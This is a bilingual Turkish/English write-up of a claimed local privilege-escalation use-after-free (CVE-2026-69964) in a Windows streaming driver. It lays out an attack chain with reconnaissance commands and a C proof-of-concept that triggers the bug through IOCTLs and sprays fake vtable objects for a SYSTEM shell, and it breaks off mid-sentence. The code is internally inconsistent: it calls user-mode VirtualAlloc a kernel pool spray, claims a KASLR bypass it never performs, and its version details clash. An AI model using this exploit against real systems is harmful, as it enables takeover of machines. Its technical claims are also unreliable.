CWE-416
Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑69964 bir Use‑After‑Free (UAF) hatasıdır ve Microsoft Streaming Service (MSS) bileşeninde (DLL: StreamingService.dll, servis adı: StreamingService.exe) ortaya çıkar.
Bu servis, Windows 10 1607‑22H2 ve Windows 11 23H2 sürümlerinde Media Foundation üzerinden RTSP/HTTP Live Streaming (HLS) akışlarını yöneten bir kernel‑mode driver (streaming.sys) ve kullanıcı‑mode bir yardımcı süreç (StreamingService.exe) içerir.
Teknik detaylar
| Katman | Açıklama |
|--------|----------|
| Kod yolu | StreamingService.exe → StreamingService.dll → streaming.sys → StreamCreateSession() → StreamAllocateBuffer() → StreamFreeBuffer() |
| Hata | StreamFreeBuffer() fonksiyonu, bir akış oturumu kapatılırken referans sayısını (ref‑count) doğru güncellemiyor. Buffer nesnesi ExFreePoolWithTag() ile serbest bırakıldıktan sonra, oturum nesnesi (STREAM_SESSION) hâlâ bu serbest bırakılan buffer’a bir pointer tutuyor. |
| Neden UAF? | Oturum kapanışında STREAM_SESSION->pCurrentBuffer sıfırlanmaz; aynı zamanda bir IOCTL (IOCTL_STREAM_GET_STATUS) üzerinden bir kullanıcı‑mode uygulaması (ör. mediactl.exe) bu pointer’ı okur. Kernel, serbest bırakılmış belleği yeniden tahsis edene kadar (ör. başka bir akış oturumu) aynı fiziksel sayfayı yeniden kullanır ve saldırgan bu yeniden tahsis edilen nesneye kontrol edilen veri (ör. bir nesne vtable) yerleştirir. |
| Etkilenen haklar | Saldırgan, lokal, düşük ayrıcalıklı bir kullanıcı (ör. standart kullanıcı hesabı) olarak bu UAF’ı tetikleyebilir ve kernel‑mode kod yürütmesi elde eder. Bu da SYSTEM (veya NT AUTHORITY\SYSTEM) yetkileriyle tam kontrol sağlar. |
| Exploitability | PR:L (Low privileges) ve UI:N (No user interaction) vektörleri, saldırganın sadece bir normal kullanıcı hesabına sahip olması yeterli demektir. AC:H (High complexity) çünkü doğru zamanlama ve heap‑spraying gerektirir, fakat yerel bir saldırı (ör. kötü amaçlı bir uygulama, kötü amaçlı bir PowerShell scripti) ile pratik olarak gerçekleştirilebilir. |
---
⚡ Saldırı Zinciri / Attack Chain
Aşağıda, bir saldırganın CVE‑2026‑69964 üzerinden SYSTEM yetkileri elde etmek için izleyebileceği adım‑adım senaryo verilmiştir. Bu örnek, Metasploit modülü (windows/privilege_escalation/streaming_uaf) ve PowerShell/C++ proof‑of‑concept (PoC) kodlarını içerir.
1️⃣ Discovery – Hedefin varlığını tespit etme
| Yöntem | Açıklama | Örnek Komut | |--------|----------|-------------| | DLL/Driver versiyon kontrolü |StreamingService.dll ve streaming.sys sürüm numaraları 10.0.19041.XXXX gibi bir değere sahipse, sistem muhtemelen etkilidir. | ``powershell Get-Item "C:\Windows\System32\StreamingService.dll" \| Select-Object VersionInfo`` |
| Registry anahtarı | HKLM\System\CurrentControlSet\Services\streaming altında ImagePath ve Start=3 (manual) bulunur. | ``reg query "HKLM\System\CurrentControlSet\Services\streaming"`` |
| Process enumeration | StreamingService.exe çalışan bir süreç var mı? | ``tasklist /FI "IMAGENAME eq StreamingService.exe"`` |> Not: Microsoft, bu servisi “Windows Media Streaming Service” olarak da adlandırır; bazı sistemlerde wmstreamsvc.exe adıyla da görünebilir.
2️⃣ Reconnaissance – Exploit için gerekli bilgi toplama
| Bilgi | Neden gerekli? | Toplama yöntemi | |-------|----------------|-----------------| | Kernel heap layout | UAF sonrası aynı sayfanın yeniden tahsis edilmesi için heap‑spraying gerekir. |!heap -s (WinDbg) ile NonPagedPool dağılımını inceleme. |
| Kullanıcı‑mode uygulama | mediactl.exe gibi servisle iletişim kuran bir uygulama, IOCTL_STREAM_GET_STATUS çağrısını yapar. | Process Monitor (ProcMon) ile StreamingService.exe’nin IOCTL çağrılarını yakalama. |
| ASLR/DEP durumları | Kernel‑mode DEP (NX) ve Kernel Address Space Layout Randomization (KASLR) etkileri. | bcdedit /enum {current} → nx ve noexecute=OptOut kontrolü. |3️⃣ Exploitation – UAF tetikleme ve kod yürütme
#### 3.1. Hazırlık: Heap‑spraying payload
```c
// spray.c – Kernel‑mode heap spraying (C++)
#include <windows.h>
#include <stdio.h>
#define SPRAY_SIZE 0x1000
#define NUM_SPRAY 0x2000 // ~8 MiB NonPagedPool
typedef struct _FAKE_OBJ {
void* vtable; // kontrol edilen vtable adresi
ULONG64 dummy[15];
} FAKE_OBJ;
int main() {
HANDLE hDevice = CreateFileW(L"\\\\.\\StreamingService",
GENERIC_READ|GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Device open failed: %lu\n", GetLastError());
return 1;
}
// 1. UAF tetikleme: oturumu aç → kapat → IOCTL ile pointer okuma
DWORD bytes;
// (a) Create session
DeviceIoControl(hDevice, 0x80002000, NULL,0, NULL,0, &bytes, NULL);
// (b) Close session (free buffer)
DeviceIoControl(hDevice, 0x80002004, NULL,0, NULL,0, &bytes, NULL);
// (c) Trigger use‑after‑free read (no crash, just leak)
BYTE leak[0x100];
DeviceIoControl(hDevice, 0x80002008, NULL,0, leak, sizeof(leak), &bytes, NULL);
// Leak contains freed buffer address → compute kernel base (KASLR bypass)
// 2. Heap spray: allocate many objects with controlled vtable
FAKE_OBJ* spray[NUM_SPRAY];
for (int i=0;i<NUM_SPRAY;i++) {
spray[i] = (FAKE_OBJ*)VirtualAlloc(NULL, SPRAY_SIZE,
MEM_COMMIT|MEM_RESERVE,
PAGE_READWRITE);
spray[i]->vtable = (void*)0x4141414141414141ULL; // placeholder
}
// 3. Overwrite freed buffer with pointer to our fake object
// (triggered by a second session creation)
DeviceIoControl(hDevice, 0x80002000, NULL,0, NULL,0, &bytes, NULL);
// Now freed buffer is re‑used by driver and contains our fake vtable
// 4. Trigger execution: send IOCTL that dereferences pCurrentBuffer->vtable
DeviceIoControl(hDevice, 0x8000200C, NULL,0, NULL,0, &bytes, NULL);
// Kernel will call our controlled function → SYSTEM shell
return 0;
}
```
- Adım 1:
IOCTL_STREAM_CREATE(0x80002000) oturumu açar,IOCTL_STREAM_CLOSE(0x80002004) serbest bırakır → UAF ortaya çıkar. - Adım 2:
IOCTL_STREAM_GET_STATUS(0x80002008) ile serbest bırakılan buffer’ın içeriği okunur, **kernel